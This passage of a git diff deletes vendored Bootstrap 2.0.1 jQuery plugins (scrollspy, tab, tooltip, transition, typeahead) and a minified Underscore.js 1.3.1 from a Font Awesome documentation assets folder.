-          activeTarget != targets[i]
-            && scrollTop >= offsets[i]
-            && (!offsets[i + 1] || scrollTop <= offsets[i + 1])
-            && this.activate( targets[i] )
-        }
-      }
-
-    , activate: function (target) {
-        var active
-
-        this.activeTarget = target
-
-        this.$body
-          .find(this.selector).parent('.active')
-          .removeClass('active')
-
-        active = this.$body
-          .find(this.selector + '[href="' + target + '"]')
-          .parent('li')
-          .addClass('active')
-
-        if ( active.parent('.dropdown-menu') )  {
-          active.closest('li.dropdown').addClass('active')
-        }
-      }
-
-  }
-
-
- /* SCROLLSPY PLUGIN DEFINITION
-  * =========================== */
-
-  $.fn.scrollspy = function ( option ) {
-    return this.each(function () {
-      var $this = $(this)
-        , data = $this.data('scrollspy')
-        , options = typeof option == 'object' && option
-      if (!data) $this.data('scrollspy', (data = new ScrollSpy(this, options)))
-      if (typeof option == 'string') data[option]()
-    })
-  }
-
-  $.fn.scrollspy.Constructor = ScrollSpy
-
-  $.fn.scrollspy.defaults = {
-    offset: 10
-  }
-
-
- /* SCROLLSPY DATA-API
-  * ================== */
-
-  $(function () {
-    $('[data-spy="scroll"]').each(function () {
-      var $spy = $(this)
-      $spy.scrollspy($spy.data())
-    })
-  })
-
-}( window.jQuery );
\ No newline at end of file
diff --git a/assets/font-awesome/docs/assets/js/tw-bs-201/bootstrap-tab.js b/assets/font-awesome/docs/assets/js/tw-bs-201/bootstrap-tab.js
deleted file mode 100755
index 26c9ece7..00000000
--- a/assets/font-awesome/docs/assets/js/tw-bs-201/bootstrap-tab.js
+++ /dev/null
@@ -1,130 +0,0 @@
-/* ========================================================
- * bootstrap-tab.js v2.0.1
- * http://twitter.github.com/bootstrap/javascript.html#tabs
- * ========================================================
- * Copyright 2012 Twitter, Inc.
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- * ======================================================== */
-
-
-!function( $ ){
-
-  "use strict"
-
- /* TAB CLASS DEFINITION
-  * ==================== */
-
-  var Tab = function ( element ) {
-    this.element = $(element)
-  }
-
-  Tab.prototype = {
-
-    constructor: Tab
-
-  , show: function () {
-      var $this = this.element
-        , $ul = $this.closest('ul:not(.dropdown-menu)')
-        , selector = $this.attr('data-target')
-        , previous
-        , $target
-
-      if (!selector) {
-        selector = $this.attr('href')
-        selector = selector && selector.replace(/.*(?=#[^\s]*$)/, '') //strip for ie7
-      }
-
-      if ( $this.parent('li').hasClass('active') ) return
-
-      previous = $ul.find('.active a').last()[0]
-
-      $this.trigger({
-        type: 'show'
-      , relatedTarget: previous
-      })
-
-      $target = $(selector)
-
-      this.activate($this.parent('li'), $ul)
-      this.activate($target, $target.parent(), function () {
-        $this.trigger({
-          type: 'shown'
-        , relatedTarget: previous
-        })
-      })
-    }
-
-  , activate: function ( element, container, callback) {
-      var $active = container.find('> .active')
-        , transition = callback
-            && $.support.transition
-            && $active.hasClass('fade')
-
-      function next() {
-        $active
-          .removeClass('active')
-          .find('> .dropdown-menu > .active')
-          .removeClass('active')
-
-        element.addClass('active')
-
-        if (transition) {
-          element[0].offsetWidth // reflow for transition
-          element.addClass('in')
-        } else {
-          element.removeClass('fade')
-        }
-
-        if ( element.parent('.dropdown-menu') ) {
-          element.closest('li.dropdown').addClass('active')
-        }
-
-        callback && callback()
-      }
-
-      transition ?
-        $active.one($.support.transition.end, next) :
-        next()
-
-      $active.removeClass('in')
-    }
-  }
-
-
- /* TAB PLUGIN DEFINITION
-  * ===================== */
-
-  $.fn.tab = function ( option ) {
-    return this.each(function () {
-      var $this = $(this)
-        , data = $this.data('tab')
-      if (!data) $this.data('tab', (data = new Tab(this)))
-      if (typeof option == 'string') data[option]()
-    })
-  }
-
-  $.fn.tab.Constructor = Tab
-
-
- /* TAB DATA-API
-  * ============ */
-
-  $(function () {
-    $('body').on('click.tab.data-api', '[data-toggle="tab"], [data-toggle="pill"]', function (e) {
-      e.preventDefault()
-      $(this).tab('show')
-    })
-  })
-
-}( window.jQuery );
\ No newline at end of file
diff --git a/assets/font-awesome/docs/assets/js/tw-bs-201/bootstrap-tooltip.js b/assets/font-awesome/docs/assets/js/tw-bs-201/bootstrap-tooltip.js
deleted file mode 100755
index d76e51e8..00000000
--- a/assets/font-awesome/docs/assets/js/tw-bs-201/bootstrap-tooltip.js
+++ /dev/null
@@ -1,270 +0,0 @@
-/* ===========================================================
- * bootstrap-tooltip.js v2.0.1
- * http://twitter.github.com/bootstrap/javascript.html#tooltips
- * Inspired by the original jQuery.tipsy by Jason Frame
- * ===========================================================
- * Copyright 2012 Twitter, Inc.
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- * ========================================================== */
-
-!function( $ ) {
-
-  "use strict"
-
- /* TOOLTIP PUBLIC CLASS DEFINITION
-  * =============================== */
-
-  var Tooltip = function ( element, options ) {
-    this.init('tooltip', element, options)
-  }
-
-  Tooltip.prototype = {
-
-    constructor: Tooltip
-
-  , init: function ( type, element, options ) {
-      var eventIn
-        , eventOut
-
-      this.type = type
-      this.$element = $(element)
-      this.options = this.getOptions(options)
-      this.enabled = true
-
-      if (this.options.trigger != 'manual') {
-        eventIn  = this.options.trigger == 'hover' ? 'mouseenter' : 'focus'
-        eventOut = this.options.trigger == 'hover' ? 'mouseleave' : 'blur'
-        this.$element.on(eventIn, this.options.selector, $.proxy(this.enter, this))
-        this.$element.on(eventOut, this.options.selector, $.proxy(this.leave, this))
-      }
-
-      this.options.selector ?
-        (this._options = $.extend({}, this.options, { trigger: 'manual', selector: '' })) :
-        this.fixTitle()
-    }
-
-  , getOptions: function ( options ) {
-      options = $.extend({}, $.fn[this.type].defaults, options, this.$element.data())
-
-      if (options.delay && typeof options.delay == 'number') {
-        options.delay = {
-          show: options.delay
-        , hide: options.delay
-        }
-      }
-
-      return options
-    }
-
-  , enter: function ( e ) {
-      var self = $(e.currentTarget)[this.type](this._options).data(this.type)
-
-      if (!self.options.delay || !self.options.delay.show) {
-        self.show()
-      } else {
-        self.hoverState = 'in'
-        setTimeout(function() {
-          if (self.hoverState == 'in') {
-            self.show()
-          }
-        }, self.options.delay.show)
-      }
-    }
-
-  , leave: function ( e ) {
-      var self = $(e.currentTarget)[this.type](this._options).data(this.type)
-
-      if (!self.options.delay || !self.options.delay.hide) {
-        self.hide()
-      } else {
-        self.hoverState = 'out'
-        setTimeout(function() {
-          if (self.hoverState == 'out') {
-            self.hide()
-          }
-        }, self.options.delay.hide)
-      }
-    }
-
-  , show: function () {
-      var $tip
-        , inside
-        , pos
-        , actualWidth
-        , actualHeight
-        , placement
-        , tp
-
-      if (this.hasContent() && this.enabled) {
-        $tip = this.tip()
-        this.setContent()
-
-        if (this.options.animation) {
-          $tip.addClass('fade')
-        }
-
-        placement = typeof this.options.placement == 'function' ?
-          this.options.placement.call(this, $tip[0], this.$element[0]) :
-          this.options.placement
-
-        inside = /in/.test(placement)
-
-        $tip
-          .remove()
-          .css({ top: 0, left: 0, display: 'block' })
-          .appendTo(inside ? this.$element : document.body)
-
-        pos = this.getPosition(inside)
-
-        actualWidth = $tip[0].offsetWidth
-        actualHeight = $tip[0].offsetHeight
-
-        switch (inside ? placement.split(' ')[1] : placement) {
-          case 'bottom':
-            tp = {top: pos.top + pos.height, left: pos.left + pos.width / 2 - actualWidth / 2}
-            break
-          case 'top':
-            tp = {top: pos.top - actualHeight, left: pos.left + pos.width / 2 - actualWidth / 2}
-            break
-          case 'left':
-            tp = {top: pos.top + pos.height / 2 - actualHeight / 2, left: pos.left - actualWidth}
-            break
-          case 'right':
-            tp = {top: pos.top + pos.height / 2 - actualHeight / 2, left: pos.left + pos.width}
-            break
-        }
-
-        $tip
-          .css(tp)
-          .addClass(placement)
-          .addClass('in')
-      }
-    }
-
-  , setContent: function () {
-      var $tip = this.tip()
-      $tip.find('.tooltip-inner').html(this.getTitle())
-      $tip.removeClass('fade in top bottom left right')
-    }
-
-  , hide: function () {
-      var that = this
-        , $tip = this.tip()
-
-      $tip.removeClass('in')
-
-      function removeWithAnimation() {
-        var timeout = setTimeout(function () {
-          $tip.off($.support.transition.end).remove()
-        }, 500)
-
-        $tip.one($.support.transition.end, function () {
-          clearTimeout(timeout)
-          $tip.remove()
-        })
-      }
-
-      $.support.transition && this.$tip.hasClass('fade') ?
-        removeWithAnimation() :
-        $tip.remove()
-    }
-
-  , fixTitle: function () {
-      var $e = this.$element
-      if ($e.attr('title') || typeof($e.attr('data-original-title')) != 'string') {
-        $e.attr('data-original-title', $e.attr('title') || '').removeAttr('title')
-      }
-    }
-
-  , hasContent: function () {
-      return this.getTitle()
-    }
-
-  , getPosition: function (inside) {
-      return $.extend({}, (inside ? {top: 0, left: 0} : this.$element.offset()), {
-        width: this.$element[0].offsetWidth
-      , height: this.$element[0].offsetHeight
-      })
-    }
-
-  , getTitle: function () {
-      var title
-        , $e = this.$element
-        , o = this.options
-
-      title = $e.attr('data-original-title')
-        || (typeof o.title == 'function' ? o.title.call($e[0]) :  o.title)
-
-      title = title.toString().replace(/(^\s*|\s*$)/, "")
-
-      return title
-    }
-
-  , tip: function () {
-      return this.$tip = this.$tip || $(this.options.template)
-    }
-
-  , validate: function () {
-      if (!this.$element[0].parentNode) {
-        this.hide()
-        this.$element = null
-        this.options = null
-      }
-    }
-
-  , enable: function () {
-      this.enabled = true
-    }
-
-  , disable: function () {
-      this.enabled = false
-    }
-
-  , toggleEnabled: function () {
-      this.enabled = !this.enabled
-    }
-
-  , toggle: function () {
-      this[this.tip().hasClass('in') ? 'hide' : 'show']()
-    }
-
-  }
-
-
- /* TOOLTIP PLUGIN DEFINITION
-  * ========================= */
-
-  $.fn.tooltip = function ( option ) {
-    return this.each(function () {
-      var $this = $(this)
-        , data = $this.data('tooltip')
-        , options = typeof option == 'object' && option
-      if (!data) $this.data('tooltip', (data = new Tooltip(this, options)))
-      if (typeof option == 'string') data[option]()
-    })
-  }
-
-  $.fn.tooltip.Constructor = Tooltip
-
-  $.fn.tooltip.defaults = {
-    animation: true
-  , delay: 0
-  , selector: false
-  , placement: 'top'
-  , trigger: 'hover'
-  , title: ''
-  , template: '<div class="tooltip"><div class="tooltip-arrow"></div><div class="tooltip-inner"></div></div>'
-  }
-
-}( window.jQuery );
\ No newline at end of file
diff --git a/assets/font-awesome/docs/assets/js/tw-bs-201/bootstrap-transition.js b/assets/font-awesome/docs/assets/js/tw-bs-201/bootstrap-transition.js
deleted file mode 100755
index 52196c40..00000000
--- a/assets/font-awesome/docs/assets/js/tw-bs-201/bootstrap-transition.js
+++ /dev/null
@@ -1,51 +0,0 @@
-/* ===================================================
- * bootstrap-transition.js v2.0.1
- * http://twitter.github.com/bootstrap/javascript.html#transitions
- * ===================================================
- * Copyright 2012 Twitter, Inc.
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- * ========================================================== */
-
-!function( $ ) {
-
-  $(function () {
-
-    "use strict"
-
-    /* CSS TRANSITION SUPPORT (https://gist.github.com/373874)
-     * ======================================================= */
-
-    $.support.transition = (function () {
-      var thisBody = document.body || document.documentElement
-        , thisStyle = thisBody.style
-        , support = thisStyle.transition !== undefined || thisStyle.WebkitTransition !== undefined || thisStyle.MozTransition !== undefined || thisStyle.MsTransition !== undefined || thisStyle.OTransition !== undefined
-
-      return support && {
-        end: (function () {
-          var transitionEnd = "TransitionEnd"
-          if ( $.browser.webkit ) {
-          	transitionEnd = "webkitTransitionEnd"
-          } else if ( $.browser.mozilla ) {
-          	transitionEnd = "transitionend"
-          } else if ( $.browser.opera ) {
-          	transitionEnd = "oTransitionEnd"
-          }
-          return transitionEnd
-        }())
-      }
-    })()
-
-  })
-
-}( window.jQuery );
\ No newline at end of file
diff --git a/assets/font-awesome/docs/assets/js/tw-bs-201/bootstrap-typeahead.js b/assets/font-awesome/docs/assets/js/tw-bs-201/bootstrap-typeahead.js
deleted file mode 100755
index 50315595..00000000
--- a/assets/font-awesome/docs/assets/js/tw-bs-201/bootstrap-typeahead.js
+++ /dev/null
@@ -1,271 +0,0 @@
-/* =============================================================
- * bootstrap-typeahead.js v2.0.1
- * http://twitter.github.com/bootstrap/javascript.html#typeahead
- * =============================================================
- * Copyright 2012 Twitter, Inc.
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- * ============================================================ */
-
-!function( $ ){
-
-  "use strict"
-
-  var Typeahead = function ( element, options ) {
-    this.$element = $(element)
-    this.options = $.extend({}, $.fn.typeahead.defaults, options)
-    this.matcher = this.options.matcher || this.matcher
-    this.sorter = this.options.sorter || this.sorter
-    this.highlighter = this.options.highlighter || this.highlighter
-    this.$menu = $(this.options.menu).appendTo('body')
-    this.source = this.options.source
-    this.shown = false
-    this.listen()
-  }
-
-  Typeahead.prototype = {
-
-    constructor: Typeahead
-
-  , select: function () {
-      var val = this.$menu.find('.active').attr('data-value')
-      this.$element.val(val)
-      return this.hide()
-    }
-
-  , show: function () {
-      var pos = $.extend({}, this.$element.offset(), {
-        height: this.$element[0].offsetHeight
-      })
-
-      this.$menu.css({
-        top: pos.top + pos.height
-      , left: pos.left
-      })
-
-      this.$menu.show()
-      this.shown = true
-      return this
-    }
-
-  , hide: function () {
-      this.$menu.hide()
-      this.shown = false
-      return this
-    }
-
-  , lookup: function (event) {
-      var that = this
-        , items
-        , q
-
-      this.query = this.$element.val()
-
-      if (!this.query) {
-        return this.shown ? this.hide() : this
-      }
-
-      items = $.grep(this.source, function (item) {
-        if (that.matcher(item)) return item
-      })
-
-      items = this.sorter(items)
-
-      if (!items.length) {
-        return this.shown ? this.hide() : this
-      }
-
-      return this.render(items.slice(0, this.options.items)).show()
-    }
-
-  , matcher: function (item) {
-      return ~item.toLowerCase().indexOf(this.query.toLowerCase())
-    }
-
-  , sorter: function (items) {
-      var beginswith = []
-        , caseSensitive = []
-        , caseInsensitive = []
-        , item
-
-      while (item = items.shift()) {
-        if (!item.toLowerCase().indexOf(this.query.toLowerCase())) beginswith.push(item)
-        else if (~item.indexOf(this.query)) caseSensitive.push(item)
-        else caseInsensitive.push(item)
-      }
-
-      return beginswith.concat(caseSensitive, caseInsensitive)
-    }
-
-  , highlighter: function (item) {
-      return item.replace(new RegExp('(' + this.query + ')', 'ig'), function ($1, match) {
-        return '<strong>' + match + '</strong>'
-      })
-    }
-
-  , render: function (items) {
-      var that = this
-
-      items = $(items).map(function (i, item) {
-        i = $(that.options.item).attr('data-value', item)
-        i.find('a').html(that.highlighter(item))
-        return i[0]
-      })
-
-      items.first().addClass('active')
-      this.$menu.html(items)
-      return this
-    }
-
-  , next: function (event) {
-      var active = this.$menu.find('.active').removeClass('active')
-        , next = active.next()
-
-      if (!next.length) {
-        next = $(this.$menu.find('li')[0])
-      }
-
-      next.addClass('active')
-    }
-
-  , prev: function (event) {
-      var active = this.$menu.find('.active').removeClass('active')
-        , prev = active.prev()
-
-      if (!prev.length) {
-        prev = this.$menu.find('li').last()
-      }
-
-      prev.addClass('active')
-    }
-
-  , listen: function () {
-      this.$element
-        .on('blur',     $.proxy(this.blur, this))
-        .on('keypress', $.proxy(this.keypress, this))
-        .on('keyup',    $.proxy(this.keyup, this))
-
-      if ($.browser.webkit || $.browser.msie) {
-        this.$element.on('keydown', $.proxy(this.keypress, this))
-      }
-
-      this.$menu
-        .on('click', $.proxy(this.click, this))
-        .on('mouseenter', 'li', $.proxy(this.mouseenter, this))
-    }
-
-  , keyup: function (e) {
-      e.stopPropagation()
-      e.preventDefault()
-
-      switch(e.keyCode) {
-        case 40: // down arrow
-        case 38: // up arrow
-          break
-
-        case 9: // tab
-        case 13: // enter
-          if (!this.shown) return
-          this.select()
-          break
-
-        case 27: // escape
-          this.hide()
-          break
-
-        default:
-          this.lookup()
-      }
-
-  }
-
-  , keypress: function (e) {
-      e.stopPropagation()
-      if (!this.shown) return
-
-      switch(e.keyCode) {
-        case 9: // tab
-        case 13: // enter
-        case 27: // escape
-          e.preventDefault()
-          break
-
-        case 38: // up arrow
-          e.preventDefault()
-          this.prev()
-          break
-
-        case 40: // down arrow
-          e.preventDefault()
-          this.next()
-          break
-      }
-    }
-
-  , blur: function (e) {
-      var that = this
-      e.stopPropagation()
-      e.preventDefault()
-      setTimeout(function () { that.hide() }, 150)
-    }
-
-  , click: function (e) {
-      e.stopPropagation()
-      e.preventDefault()
-      this.select()
-    }
-
-  , mouseenter: function (e) {
-      this.$menu.find('.active').removeClass('active')
-      $(e.currentTarget).addClass('active')
-    }
-
-  }
-
-
-  /* TYPEAHEAD PLUGIN DEFINITION
-   * =========================== */
-
-  $.fn.typeahead = function ( option ) {
-    return this.each(function () {
-      var $this = $(this)
-        , data = $this.data('typeahead')
-        , options = typeof option == 'object' && option
-      if (!data) $this.data('typeahead', (data = new Typeahead(this, options)))
-      if (typeof option == 'string') data[option]()
-    })
-  }
-
-  $.fn.typeahead.defaults = {
-    source: []
-  , items: 8
-  , menu: '<ul class="typeahead dropdown-menu"></ul>'
-  , item: '<li><a href="#"></a></li>'
-  }
-
-  $.fn.typeahead.Constructor = Typeahead
-
-
- /* TYPEAHEAD DATA-API
-  * ================== */
-
-  $(function () {
-    $('body').on('focus.typeahead.data-api', '[data-provide="typeahead"]', function (e) {
-      var $this = $(this)
-      if ($this.data('typeahead')) return
-      e.preventDefault()
-      $this.typeahead($this.data())
-    })
-  })
-
-}( window.jQuery );
\ No newline at end of file
diff --git a/assets/font-awesome/docs/assets/js/underscore.min.js b/assets/font-awesome/docs/assets/js/underscore.min.js
deleted file mode 100755
index 5b55f32b..00000000
--- a/assets/font-awesome/docs/assets/js/underscore.min.js
+++ /dev/null
@@ -1,31 +0,0 @@
-// Underscore.js 1.3.1
-// (c) 2009-2012 Jeremy Ashkenas, DocumentCloud Inc.
-// Underscore is freely distributable under the MIT license.
-// Portions of Underscore are inspired or borrowed from Prototype,
-// Oliver Steele's Functional, and John Resig's Micro-Templating.
-// For all details and documentation:
-// http://documentcloud.github.com/underscore
-(function(){function q(a,c,d){if(a===c)return a!==0||1/a==1/c;if(a==null||c==null)return a===c;if(a._chain)a=a._wrapped;if(c._chain)c=c._wrapped;if(a.isEqual&&b.isFunction(a.isEqual))return a.isEqual(c);if(c.isEqual&&b.isFunction(c.isEqual))return c.isEqual(a);var e=l.call(a);if(e!=l.call(c))return false;switch(e){case "[object String]":return a==String(c);case "[object Number]":return a!=+a?c!=+c:a==0?1/a==1/c:a==+c;case "[object Date]":case "[object Boolean]":return+a==+c;case "[object RegExp]":return a.source==
-c.source&&a.global==c.global&&a.multiline==c.multiline&&a.ignoreCase==c.ignoreCase}if(typeof a!="object"||typeof c!="object")return false;for(var f=d.length;f--;)if(d[f]==a)return true;d.push(a);var f=0,g=true;if(e=="[object Array]"){if(f=a.length,g=f==c.length)for(;f--;)if(!(g=f in a==f in c&&q(a[f],c[f],d)))break}else{if("constructor"in a!="constructor"in c||a.constructor!=c.constructor)return false;for(var h in a)if(b.has(a,h)&&(f++,!(g=b.has(c,h)&&q(a[h],c[h],d))))break;if(g){for(h in c)if(b.has(c,
-h)&&!f--)break;g=!f}}d.pop();return g}var r=this,G=r._,n={},k=Array.prototype,o=Object.prototype,i=k.slice,H=k.unshift,l=o.toString,I=o.hasOwnProperty,w=k.forEach,x=k.map,y=k.reduce,z=k.reduceRight,A=k.filter,B=k.every,C=k.some,p=k.indexOf,D=k.lastIndexOf,o=Array.isArray,J=Object.keys,s=Function.prototype.bind,b=function(a){return new m(a)};if(typeof exports!=="undefined"){if(typeof module!=="undefined"&&module.exports)exports=module.exports=b;exports._=b}else r._=b;b.VERSION="1.3.1";var j=b.each=
-b.forEach=function(a,c,d){if(a!=null)if(w&&a.forEach===w)a.forEach(c,d);else if(a.length===+a.length)for(var e=0,f=a.length;e<f;e++){if(e in a&&c.call(d,a[e],e,a)===n)break}else for(e in a)if(b.has(a,e)&&c.call(d,a[e],e,a)===n)break};b.map=b.collect=function(a,c,b){var e=[];if(a==null)return e;if(x&&a.map===x)return a.map(c,b);j(a,function(a,g,h){e[e.length]=c.call(b,a,g,h)});if(a.length===+a.length)e.length=a.length;return e};b.reduce=b.foldl=b.inject=function(a,c,d,e){var f=arguments.length>2;a==
-null&&(a=[]);if(y&&a.reduce===y)return e&&(c=b.bind(c,e)),f?a.reduce(c,d):a.reduce(c);j(a,function(a,b,i){f?d=c.call(e,d,a,b,i):(d=a,f=true)});if(!f)throw new TypeError("Reduce of empty array with no initial value");return d};b.reduceRight=b.foldr=function(a,c,d,e){var f=arguments.length>2;a==null&&(a=[]);if(z&&a.reduceRight===z)return e&&(c=b.bind(c,e)),f?a.reduceRight(c,d):a.reduceRight(c);var g=b.toArray(a).reverse();e&&!f&&(c=b.bind(c,e));return f?b.reduce(g,c,d,e):b.reduce(g,c)};b.find=b.detect=
-function(a,c,b){var e;E(a,function(a,g,h){if(c.call(b,a,g,h))return e=a,true});return e};b.filter=b.select=function(a,c,b){var e=[];if(a==null)return e;if(A&&a.filter===A)return a.filter(c,b);j(a,function(a,g,h){c.call(b,a,g,h)&&(e[e.length]=a)});return e};b.reject=function(a,c,b){var e=[];if(a==null)return e;j(a,function(a,g,h){c.call(b,a,g,h)||(e[e.length]=a)});return e};b.every=b.all=function(a,c,b){var e=true;if(a==null)return e;if(B&&a.every===B)return a.every(c,b);j(a,function(a,g,h){if(!(e=
-e&&c.call(b,a,g,h)))return n});return e};var E=b.some=b.any=function(a,c,d){c||(c=b.identity);var e=false;if(a==null)return e;if(C&&a.some===C)return a.some(c,d);j(a,function(a,b,h){if(e||(e=c.call(d,a,b,h)))return n});return!!e};b.include=b.contains=function(a,c){var b=false;if(a==null)return b;return p&&a.indexOf===p?a.indexOf(c)!=-1:b=E(a,function(a){return a===c})};b.invoke=function(a,c){var d=i.call(arguments,2);return b.map(a,function(a){return(b.isFunction(c)?c||a:a[c]).apply(a,d)})};b.pluck=
-function(a,c){return b.map(a,function(a){return a[c]})};b.max=function(a,c,d){if(!c&&b.isArray(a))return Math.max.apply(Math,a);if(!c&&b.isEmpty(a))return-Infinity;var e={computed:-Infinity};j(a,function(a,b,h){b=c?c.call(d,a,b,h):a;b>=e.computed&&(e={value:a,computed:b})});return e.value};b.min=function(a,c,d){if(!c&&b.isArray(a))return Math.min.apply(Math,a);if(!c&&b.isEmpty(a))return Infinity;var e={computed:Infinity};j(a,function(a,b,h){b=c?c.call(d,a,b,h):a;b<e.computed&&(e={value:a,computed:b})});
-return e.value};b.shuffle=function(a){var b=[],d;j(a,function(a,f){f==0?b[0]=a:(d=Math.floor(Math.random()*(f+1)),b[f]=b[d],b[d]=a)});return b};b.sortBy=function(a,c,d){return b.pluck(b.map(a,function(a,b,g){return{value:a,criteria:c.call(d,a,b,g)}}).sort(function(a,b){var c=a.criteria,d=b.criteria;return c<d?-1:c>d?1:0}),"value")};b.groupBy=function(a,c){var d={},e=b.isFunction(c)?c:function(a){return a[c]};j(a,function(a,b){var c=e(a,b);(d[c]||(d[c]=[])).push(a)});return d};b.sortedIndex=function(a,
-c,d){d||(d=b.identity);for(var e=0,f=a.length;e<f;){var g=e+f>>1;d(a[g])<d(c)?e=g+1:f=g}return e};b.toArray=function(a){return!a?[]:a.toArray?a.toArray():b.isArray(a)?i.call(a):b.isArguments(a)?i.call(a):b.values(a)};b.size=function(a){return b.toArray(a).length};b.first=b.head=function(a,b,d){return b!=null&&!d?i.call(a,0,b):a[0]};b.initial=function(a,b,d){return i.call(a,0,a.length-(b==null||d?1:b))};b.last=function(a,b,d){return b!=null&&!d?i.call(a,Math.max(a.length-b,0)):a[a.length-1]};b.rest=
-b.tail=function(a,b,d){return i.call(a,b==null||d?1:b)};b.compact=function(a){return b.filter(a,function(a){return!!a})};b.flatten=function(a,c){return b.reduce(a,function(a,e){if(b.isArray(e))return a.concat(c?e:b.flatten(e));a[a.length]=e;return a},[])};b.without=function(a){return b.difference(a,i.call(arguments,1))};b.uniq=b.unique=function(a,c,d){var d=d?b.map(a,d):a,e=[];b.reduce(d,function(d,g,h){if(0==h||(c===true?b.last(d)!=g:!b.include(d,g)))d[d.length]=g,e[e.length]=a[h];return d},[]);
-return e};b.union=function(){return b.uniq(b.flatten(arguments,true))};b.intersection=b.intersect=function(a){var c=i.call(arguments,1);return b.filter(b.uniq(a),function(a){return b.every(c,function(c){return b.indexOf(c,a)>=0})})};b.difference=function(a){var c=b.flatten(i.call(arguments,1));return b.filter(a,function(a){return!b.include(c,a)})};b.zip=function(){for(var a=i.call(arguments),c=b.max(b.pluck(a,"length")),d=Array(c),e=0;e<c;e++)d[e]=b.pluck(a,""+e);return d};b.indexOf=function(a,c,
-d){if(a==null)return-1;var e;if(d)return d=b.sortedIndex(a,c),a[d]===c?d:-1;if(p&&a.indexOf===p)return a.indexOf(c);for(d=0,e=a.length;d<e;d++)if(d in a&&a[d]===c)return d;return-1};b.lastIndexOf=function(a,b){if(a==null)return-1;if(D&&a.lastIndexOf===D)return a.lastIndexOf(b);for(var d=a.length;d--;)if(d in a&&a[d]===b)return d;return-1};b.range=function(a,b,d){arguments.length<=1&&(b=a||0,a=0);for(var d=arguments[2]||1,e=Math.max(Math.ceil((b-a)/d),0),f=0,g=Array(e);f<e;)g[f++]=a,a+=d;return g};
-var F=function(){};b.bind=function(a,c){var d,e;if(a.bind===s&&s)return s.apply(a,i.call(arguments,1));if(!b.isFunction(a))throw new TypeError;e=i.call(arguments,2);return d=function(){if(!(this instanceof d))return a.apply(c,e.concat(i.call(arguments)));F.prototype=a.prototype;var b=new F,g=a.apply(b,e.concat(i.call(arguments)));return Object(g)===g?g:b}};b.bindAll=function(a){var c=i.call(arguments,1);c.length==0&&(c=b.functions(a));j(c,function(c){a[c]=b.bind(a[c],a)});return a};b.memoize=function(a,
-c){var d={};c||(c=b.identity);return function(){var e=c.apply(this,arguments);return b.has(d,e)?d[e]:d[e]=a.apply(this,arguments)}};b.delay=function(a,b){var d=i.call(arguments,2);return setTimeout(function(){return a.apply(a,d)},b)};b.defer=function(a){return b.delay.apply(b,[a,1].concat(i.call(arguments,1)))};b.throttle=function(a,c){var d,e,f,g,h,i=b.debounce(function(){h=g=false},c);return function(){d=this;e=arguments;var b;f||(f=setTimeout(function(){f=null;h&&a.apply(d,e);i()},c));g?h=true:
-a.apply(d,e);i();g=true}};b.debounce=function(a,b){var d;return function(){var e=this,f=arguments;clearTimeout(d);d=setTimeout(function(){d=null;a.apply(e,f)},b)}};b.once=function(a){var b=false,d;return function(){if(b)return d;b=true;return d=a.apply(this,arguments)}};b.wrap=function(a,b){return function(){var d=[a].concat(i.call(arguments,0));return b.apply(this,d)}};b.compose=function(){var a=arguments;return function(){for(var b=arguments,d=a.length-1;d>=0;d--)b=[a[d].apply(this,b)];return b[0]}};
-b.after=function(a,b){return a<=0?b():function(){if(--a<1)return b.apply(this,arguments)}};b.keys=J||function(a){if(a!==Object(a))throw new TypeError("Invalid object");var c=[],d;for(d in a)b.has(a,d)&&(c[c.length]=d);return c};b.values=function(a){return b.map(a,b.identity)};b.functions=b.methods=function(a){var c=[],d;for(d in a)b.isFunction(a[d])&&c.push(d);return c.sort()};b.extend=function(a){j(i.call(arguments,1),function(b){for(var d in b)a[d]=b[d]});return a};b.defaults=function(a){j(i.call(arguments,
-1),function(b){for(var d in b)a[d]==null&&(a[d]=b[d])});return a};b.clone=function(a){return!b.isObject(a)?a:b.isArray(a)?a.slice():b.extend({},a)};b.tap=function(a,b){b(a);return a};b.isEqual=function(a,b){return q(a,b,[])};b.isEmpty=function(a){if(b.isArray(a)||b.isString(a))return a.length===0;for(var c in a)if(b.has(a,c))return false;return true};b.isElement=function(a){return!!(a&&a.nodeType==1)};b.isArray=o||function(a){return l.call(a)=="[object Array]"};b.isObject=function(a){return a===Object(a)};
-b.isArguments=function(a){return l.call(a)=="[object Arguments]"};if(!b.isArguments(arguments))b.isArguments=function(a){return!(!a||!b.has(a,"callee"))};b.isFunction=function(a){return l.call(a)=="[object Function]"};b.isString=function(a){return l.call(a)=="[object String]"};b.isNumber=function(a){return l.call(a)=="[object Number]"};b.isNaN=function(a){return a!==a};b.isBoolean=function(a){return a===true||a===false||l.call(a)=="[object Boolean]"};b.isDate=function(a){return l.call(a)=="[object Date]"};
